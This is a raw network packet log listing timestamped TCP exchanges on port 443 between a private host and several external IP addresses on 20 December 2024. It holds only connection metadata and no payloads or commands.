Dec 20, 2024 01:21:32.569998026 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:32.570089102 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:32.570136070 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:32.614984035 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:32.615047932 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.377475023 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.377536058 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.377564907 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.377659082 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.377700090 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.379127979 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.379201889 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.408802986 CET	49808	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.408837080 CET	443	49808	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.551233053 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.551285028 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.551367998 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.551603079 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.551621914 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.703181982 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.703495979 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.703577995 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.703999043 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.704071045 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.704724073 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.704787016 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.704941034 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.705009937 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.705092907 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.705281019 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:33.705461979 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.705481052 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:33.709033966 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:33.709114075 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.709625959 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.709738970 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:33.709803104 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.751343012 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.754672050 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.754707098 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:33.754708052 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.754724026 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:33.800775051 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:33.800901890 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:33.889874935 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.889941931 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.890048981 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.890197992 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.890244961 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.890319109 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.890655041 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.890667915 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:33.890948057 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:33.890968084 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:34.391160011 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.391222954 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.391267061 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.391274929 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.391304016 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.391341925 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.391349077 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.404508114 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.404552937 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.404592991 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.404608011 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.404656887 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.410573959 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.423048019 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.423120022 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.423135042 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.473581076 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.510663986 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.551590919 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.551609039 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.572959900 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.573106050 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.573168039 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.573196888 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.573951960 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.574028015 CET	443	49809	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.574101925 CET	49809	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.574785948 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.574812889 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.574902058 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.575527906 CET	49819	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:21:34.575542927 CET	443	49819	142.250.181.110	192.168.2.4
Dec 20, 2024 01:21:34.586493969 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.586627960 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.586644888 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.595205069 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.595258951 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.595273018 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.604002953 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.604074001 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.604084015 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.615653038 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.615721941 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.615730047 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.629245043 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.629314899 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.629323006 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.641273975 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.641334057 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.641341925 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.653353930 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.653423071 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.653439999 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.669528961 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.669605017 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.669620991 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.678353071 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.678415060 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.678430080 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.691107035 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.691179037 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.691190004 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.703913927 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.703974009 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.703984976 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.716950893 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.717039108 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.717057943 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.770266056 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.770294905 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.775988102 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.776078939 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.776087999 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.780647039 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.780720949 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.780729055 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.786217928 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.786278963 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.786298990 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.796821117 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.796885014 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.796905994 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.809487104 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.809586048 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.809597969 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.810832977 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.810914993 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.810921907 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.822813988 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.822907925 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.822916031 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.833738089 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.833825111 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.833836079 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.845141888 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.845241070 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.845263958 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.856592894 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.856677055 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.856688023 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.868104935 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.868191957 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.868201017 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.878951073 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.879055977 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.879070044 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.889837980 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.889915943 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.889924049 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.899884939 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.899981022 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.899990082 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.909801960 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.909900904 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.909909964 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.919173002 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.919224977 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.919233084 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.928175926 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.928255081 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.928270102 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.935637951 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.935700893 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.935712099 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.944051981 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.944114923 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.944127083 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.952291965 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.952353001 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.952363968 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.960596085 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.960658073 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.960666895 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.968904018 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.968965054 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.968977928 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.975173950 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.975244045 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.975255966 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.979211092 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.979301929 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.979310036 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.984313011 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.984374046 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.984381914 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.989356041 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.989437103 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.989458084 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.994493961 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.994604111 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.994615078 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.999387980 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:34.999485016 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:34.999500990 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.004606962 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.004698038 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.004709959 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.009567976 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.009654999 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.009663105 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.014506102 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.014594078 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.014605045 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.019471884 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.019562006 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.019576073 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.024585009 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.024729967 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.024740934 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.029520988 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.029581070 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.029591084 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.034694910 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.034760952 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.034770966 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.039596081 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.039674044 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.039685011 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.044750929 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.044806004 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.044815063 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.049566031 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.049655914 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.049666882 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.054519892 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.054577112 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.054584980 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.059462070 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.059540033 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.059547901 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.064343929 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.064409018 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.064419031 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.069430113 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.069505930 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.069518089 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.074117899 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.074182987 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.074193001 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.080315113 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.080367088 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.080375910 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.083646059 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.083710909 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.083722115 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.090308905 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.090375900 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.090385914 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.093197107 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.093259096 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.093270063 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.100419044 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.100487947 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.100497961 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.102674007 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.102729082 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.102737904 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.109656096 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.109718084 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.109726906 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.112051010 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.112109900 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.112118959 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.112148046 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.112195015 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.119230032 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.121089935 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.121153116 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.121169090 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.127356052 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.127419949 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.127430916 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.130105972 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.130176067 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.130184889 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.135710001 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.135768890 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.135778904 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.139141083 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.139204979 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.139214993 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144037008 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144109964 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.144119024 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144174099 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144212961 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.144220114 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144479990 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.144556999 CET	443	49810	142.250.181.46	192.168.2.4
Dec 20, 2024 01:21:35.144638062 CET	49810	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:21:35.249696016 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.250008106 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.250030994 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.251490116 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.251672983 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.251938105 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.252022982 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.252096891 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.252110958 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.302627087 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.585485935 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.585726023 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.585747004 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.586071014 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.586350918 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.586416006 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.586500883 CET	49817	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.586833954 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.586993933 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.587019920 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.587505102 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.587765932 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.587850094 CET	443	49816	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:35.627439976 CET	49816	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:35.631329060 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.056145906 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.056209087 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.056247950 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.056312084 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.056375980 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.056442976 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.057621002 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.057734966 CET	443	49815	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.057799101 CET	49815	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:21:36.458964109 CET	443	49817	142.250.181.132	192.168.2.4
Dec 20, 2024 01:21:36.459041119 CET	443	49817	142.250.181.132	192.168.2.4
